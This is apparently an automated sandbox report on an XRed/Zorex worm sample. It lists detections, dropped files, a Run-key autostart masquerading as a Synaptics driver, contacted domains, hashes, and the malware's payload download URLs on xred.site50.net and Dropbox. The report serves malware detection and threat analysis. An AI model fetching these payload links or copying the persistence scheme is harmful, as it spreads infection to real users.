Code function: 2_2_0041AB9E __lock,__invoke_watson,__invoke_watson,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

2_2_0041AB9E

Source: C:\Users\user\Desktop\._cache_file.exe

2_2_00406A61

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 936, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF93C.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 936, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF93C.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	2 Native API	41 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	2 Obfuscated Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	11 Process Injection	1 DLL Side-Loading	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 File Deletion	NTDS	34 System Information Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	32 Masquerading	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	21 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	95%	ReversingLabs	Win32.Worm.Zorex
file.exe	100%	Avira	TR/Dldr.Agent.SH
file.exe	100%	Avira	W2000M/Dldr.Agent.17651006
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXF93C.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXF93C.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXF93C.tmp	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\Program Files (x86)\OpenAL\._cache_file.exe	0%	ReversingLabs
C:\ProgramData\Synaptics\RCXF93C.tmp	95%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	95%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\Desktop\._cache_file.exe	0%	ReversingLabs
C:\Users\user\Documents\~$cache1	95%	ReversingLabs	Win32.Worm.Zorex
C:\Windows\SysWOW64\OpenAL32.dll (copy)	0%	ReversingLabs
C:\Windows\SysWOW64\OpenAL32.new	0%	ReversingLabs
C:\Windows\SysWOW64\tmpB6D.tmp	0%	ReversingLabs
C:\Windows\SysWOW64\tmpBBC.tmp	0%	ReversingLabs
C:\Windows\SysWOW64\wrap_oal.dll (copy)	0%	ReversingLabs
C:\Windows\SysWOW64\wrap_oal.new	0%	ReversingLabs
C:\Windows\System32\OpenAL32.new	0%	ReversingLabs
C:\Windows\System32\wrap_oal.new	0%	ReversingLabs
C:\Windows\system32\OpenAL32.dll (copy)	0%	ReversingLabs
C:\Windows\system32\wrap_oal.dll (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label
https://drive.usercok	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.ini0	100%	Avira URL Cloud	malware
https://drive.us	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rard	100%	Avira URL Cloud	malware
https://drive.us5	0%	Avira URL Cloud	safe
https://drive.usercont	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.185.78	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.185.65	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini0	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.google.com/i	Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/CsK	Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/dcom/images/branding/googlelogo/1x/C	Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.us5	Synaptics.exe, 00000003.00000002.2983654050.000000001C793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978O	Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.us	Synaptics.exe, 00000003.00000002.2984736687.000000001C841000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/google.com/om	Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/j	Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/&	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/CoPwNVz6wZDXGAw	Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rard	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/ght:20	Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/google.com/	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/dow	Synaptics.exe, 00000003.00000002.2956790720.000000000D919000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/cr	Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, ~DFF88C652ECE840ED4.TMP.4.dr, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/on-cn.com	Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/fS	Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/V	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/T	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/neer	Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/O	Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/tionsnosniff	Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercont	Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/C.1Ps	Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/tors	Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.2967548338.00000000156FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2964893798.0000000012DBE000.00000004.00000010.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t	file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	false		high
https://drive.usercok	Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	docs.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583474
Start date and time:	2025-01-02 20:27:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@10/84@15/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 16 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.113.194.132, 184.28.90.27, 20.44.10.122, 20.189.173.21, 13.107.246.45, 40.126.32.72, 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, onedsblobprdwus16.westus.cloudapp.azure.com, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, neu-azsc-config.officeapps.live.com, onedscolprdcus02.centralus.cloudapp.azure.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target Synaptics.exe, PID 5484 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:28:12	API Interceptor	577x Sleep call for process: Synaptics.exe modified
14:29:25	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:30:09	API Interceptor	13x Sleep call for process: splwow64.exe modified
20:28:10	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
69.42.215.252	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	xyxmml.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	valyzt.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	13.107.246.45
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
	Bootxr.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	cici.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	intro.avi.exe	Get hash	malicious	Quasar	Browse	13.107.246.45
	random(6).exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	1.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	installer64v7.1.0.msi	Get hash	malicious	Unknown	Browse	13.107.246.45
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
freedns.afraid.org	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AWKNET-LLCUS	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	142.250.185.78 142.250.185.65
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.78 142.250.185.65
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.78 142.250.185.65
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	142.250.185.78 142.250.185.65
	45631.exe	Get hash	malicious	Nitol	Browse	142.250.185.78 142.250.185.65
	45631.exe	Get hash	malicious	Unknown	Browse	142.250.185.78 142.250.185.65
	1734098836319.exe	Get hash	malicious	BlackMoon	Browse	142.250.185.78 142.250.185.65
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	142.250.185.78 142.250.185.65
	16oApcahEa.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.185.78 142.250.185.65

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Program Files (x86)\OpenAL\._cache_file.exe

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809496
Entropy (8bit):	7.222919433618305
Encrypted:	false
SSDEEP:	12288:0s1yfEcpPzdv+t4cRIy3ze3SUN0PXGTjiqRy2p3kwzjGHTkV:NwfLrvi4cRIyDe3SUNaXy+WypoGHgV
MD5:	694F54BD227916B89FC3EB1DB53F0685
SHA1:	21FDC367291BBEF14DAC27925CAE698D3928EEAD
SHA-256:	B8F39714D41E009F75EFB183C37100F2CBABB71784BBD243BE881AC5B42D86FD
SHA-512:	55BC0DE75A7F27F11EB8F4EE8C9934DFE1ACD044D8B7B2151C506BDCBEAD3AB179DF7023F699C9139C77541BBC4B1C0657E93C34A6BC4309B665C6CB7636A7E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........U...U...U...rq..G...rq..>.......^...U......U...\...rq..w...rq..T...rq..T...RichU...........PE..L...q.%J.....................`......Al............@..........................P.................................................x....`..H............@..............p...................................................0............................text............................... ..`.rdata...6.......@..................@..@.data....>... ...0... ..............@....rsrc...H....`.......P..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_3323f08b4d67f24a49dcac47a8ac8f69775d6939_455b7b6e_0d24f35e-6ce6-4694-b182-808d094dbae6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1348316402947514
Encrypted:	false
SSDEEP:	192:djx5VpsAOI4b0BU/3DzJDzqjLOA/FczxwzuiF4EZ24IO8EKDzy:TyxXoBU/3JqjkKzuiF4EY4IO8zy
MD5:	E0188ADCA71524EA297ADAEB71ECE017
SHA1:	E7C38DB8ED8C7C1AC9264C82EC7671BDD11C9E75
SHA-256:	E7823BC1C2B7022F871F1CC2FD6551D9CEE687EF047E76D4AD1E5919A773BB2E
SHA-512:	093F204AED95FCA37CE58BF06DB8C1CCEEB6346FF8134E3B58A7C7A4AEEC7484ABC719081F765FFF7B572AD8321B730B9A4E7E00970D283BEE237B14FCDAB732
Malicious:	false
Reputation:	low
